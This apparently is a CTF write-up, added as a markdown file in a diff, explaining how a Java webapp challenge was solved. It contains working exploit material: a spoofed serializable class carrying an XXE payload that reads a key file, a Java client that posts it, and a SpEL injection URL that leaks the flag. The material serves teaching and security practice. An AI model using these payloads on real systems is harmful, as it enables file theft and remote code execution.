|
| 1 | +# Exploit 300 (pwn, 300p, ? solved) |
| 2 | + |
| 3 | +In the challenge we get address of a Java webapplication and [war file](blueprint.war). |
| 4 | +The challenge is a bit similar to the one in previous yeat, however this time the attack vector is not unsafe Java deserialization. |
| 5 | + |
| 6 | +Once we decompile the code in IntelliJ we notice that there are 2 endpoints available. |
| 7 | +One endpoint is `/jail` and another is `/office`. |
| 8 | + |
| 9 | +Office endpoint performs some kind of authentication and then uses some of our input inside a piece of Spring Expression Language snippet. |
| 10 | +This is very dangerous, since it often leads to RCE, but here we first need to authenticate, and this requires us to know the contents of `/TMCTF2019/key` file. |
| 11 | + |
| 12 | +In order to get it, we need the other endpoint - `/jail`. |
| 13 | +This endpoint is much simpler, it does only: |
| 14 | + |
| 15 | +```java |
| 16 | +ServletInputStream is = request.getInputStream(); |
| 17 | +CustomOIS ois = new CustomOIS(is); |
| 18 | +Person person = (Person)ois.readObject(); |
| 19 | +ois.close(); |
| 20 | +response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); |
| 21 | +``` |
| 22 | + |
| 23 | +Where `CustomOIS` allows only to deserialize objects of type `com.trendmicro.Person`. |
| 24 | +If we look closely how those objects are deserialized, we can see: |
| 25 | + |
| 26 | + |
| 27 | +```java |
| 28 | +int paramInt = aInputStream.readInt(); |
| 29 | +byte[] arrayOfByte = new byte[paramInt]; |
| 30 | +aInputStream.read(arrayOfByte); |
| 31 | +ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte); |
| 32 | +DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance(); |
| 33 | +localDocumentBuilderFactory.setNamespaceAware(true); |
| 34 | +DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder(); |
| 35 | +Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream); |
| 36 | +NodeList nodeList = localDocument.getElementsByTagName("tag"); |
| 37 | +Node node = nodeList.item(0); |
| 38 | +this.name = node.getTextContent(); |
| 39 | +``` |
| 40 | + |
| 41 | +It reads the size of the array, and then bytes array, which is later treated as XML document and parsed. |
| 42 | +In this XML the deserializer takes first `tag` node and collects text content of this node to use as `name` of the Person. |
| 43 | +So xml structure like: |
| 44 | + |
| 45 | +```xml |
| 46 | +<tag>person name</tag> |
| 47 | +``` |
| 48 | + |
| 49 | +There are 2 important things to understand here: |
| 50 | + |
| 51 | +1. Java recognizes classes for deserialization based on their package+class name and some random `serialVersionID`. The latter is important to make sure we don't accidentally deserialize object with the same class name, or for example `old version` of some object. But since we have the original `Person` class and `serialVersionID` is set there, we can make our own class with the same value, and fool the server to deserialize such object for us. |
| 52 | +2. Input we provide will be parsed as XML, which means there might be a possibility to use for example XXE attack. |
| 53 | + |
| 54 | +This is exactly what we do here, we created our own `Person` class: |
| 55 | + |
| 56 | +```java |
| 57 | +public class Person implements Serializable { |
| 58 | + private static final long serialVersionUID = -559038737L; |
| 59 | + public String name; |
| 60 | + |
| 61 | + private void writeObject(java.io.ObjectOutputStream out) throws IOException { |
| 62 | + String payload = "<?xml version=\"1.0\"?><!DOCTYPE tag [<!ENTITY test SYSTEM 'file:///TMCTF2019/key'>]><tag>&test;</tag>"; |
| 63 | + out.writeInt(payload.length()); |
| 64 | + out.write(payload.getBytes()); |
| 65 | + } |
| 66 | +} |
| 67 | +``` |
| 68 | + |
| 69 | +This class will get serialized the same way as Person class in the challenge expects for later deserialization. |
| 70 | +Now we can launch it: |
| 71 | + |
| 72 | +```java |
| 73 | +public static void stage1() throws IOException { |
| 74 | + Person p = new Person(); |
| 75 | + ByteArrayOutputStream out = new ByteArrayOutputStream(); |
| 76 | + ObjectOutputStream oos = new ObjectOutputStream(out); |
| 77 | + oos.writeObject(p); |
| 78 | + String host = "http://flagmarshal.xyz/jail"; |
| 79 | + ByteArrayOutputStream bos = new ByteArrayOutputStream(); |
| 80 | + try { |
| 81 | + RestTemplate restTemplate = new RestTemplate(); |
| 82 | + byte[] yourBytes = out.toByteArray(); |
| 83 | + HttpEntity<byte[]> entity = new HttpEntity<>(yourBytes); |
| 84 | + ResponseEntity<String> response = restTemplate.postForEntity(host, entity, String.class); |
| 85 | + System.out.println(response); |
| 86 | + System.out.println(response.getStatusCode()); |
| 87 | + System.out.println(response.getBody()); |
| 88 | + } catch (HttpServerErrorException ex) { |
| 89 | + System.out.println(ex.getResponseBodyAsString()); |
| 90 | + } finally { |
| 91 | + try { |
| 92 | + bos.close(); |
| 93 | + } catch (IOException ex) { |
| 94 | + } |
| 95 | + } |
| 96 | +} |
| 97 | +``` |
| 98 | + |
| 99 | +And from this we get the key: `Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain` |
| 100 | + |
| 101 | +Now we can proceed to the second stage. |
| 102 | +The code we're attacking is: |
| 103 | + |
| 104 | +```java |
| 105 | +String nametag = request.getParameter("nametag"); |
| 106 | +String keyParam = request.getParameter("key"); |
| 107 | +String keyFileLocation = "/TMCTF2019/key"; |
| 108 | +String key = readFile(keyFileLocation, StandardCharsets.UTF_8); |
| 109 | +if (key.contentEquals(keyParam)) { |
| 110 | + ExpressionParser parser = new SpelExpressionParser(); |
| 111 | + String expString = "'" + nametag + "' == 'Marshal'"; |
| 112 | + Expression exp = parser.parseExpression(expString); |
| 113 | + Boolean isMarshal = (Boolean)exp.getValue(); |
| 114 | + if (isMarshal) { |
| 115 | + response.getWriter().append("Welcome Marsal"); |
| 116 | + } else { |
| 117 | + response.getWriter().append("I am sorry but you cannot see the Marshal"); |
| 118 | + } |
| 119 | +} else { |
| 120 | + response.getWriter().append("Did you forget your keys Marshal?"); |
| 121 | +} |
| 122 | +``` |
| 123 | + |
| 124 | +We need to: |
| 125 | + |
| 126 | +- Send request with key=`Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain` |
| 127 | +- Provide parameter `nametag` which will be placed into expression escaped by `'`. |
| 128 | + |
| 129 | +We can easily put `'` inside `nametag` to escape the string, and evaluate any code we want. |
| 130 | +We still need to keep the type proper, so we decided to pass: |
| 131 | + |
| 132 | +`'.isEmpty() || T(com.trendmicro.jail.Flag).getFlag() || '` |
| 133 | + |
| 134 | +So in the application it will become: |
| 135 | + |
| 136 | +`''.isEmpty() && T(com.trendmicro.jail.Flag).getFlag() && '' == 'Marshal'` |
| 137 | + |
| 138 | +It's a proper boolean expression and it will dump the flag for us, because the `getFlag` thrown an exception. |
| 139 | +We need to encode `&` as `%26` in order to be able to pass it into the url, and if we go to: `http://flagmarshal.xyz/Office?nametag='.isEmpty()%26%26T(com.trendmicro.jail.Flag).getFlag()%26%26'&&key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain` |
| 140 | + |
| 141 | +We can see the flag in the stacktrace: `java.lang.Exception: TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}` |
0 commit comments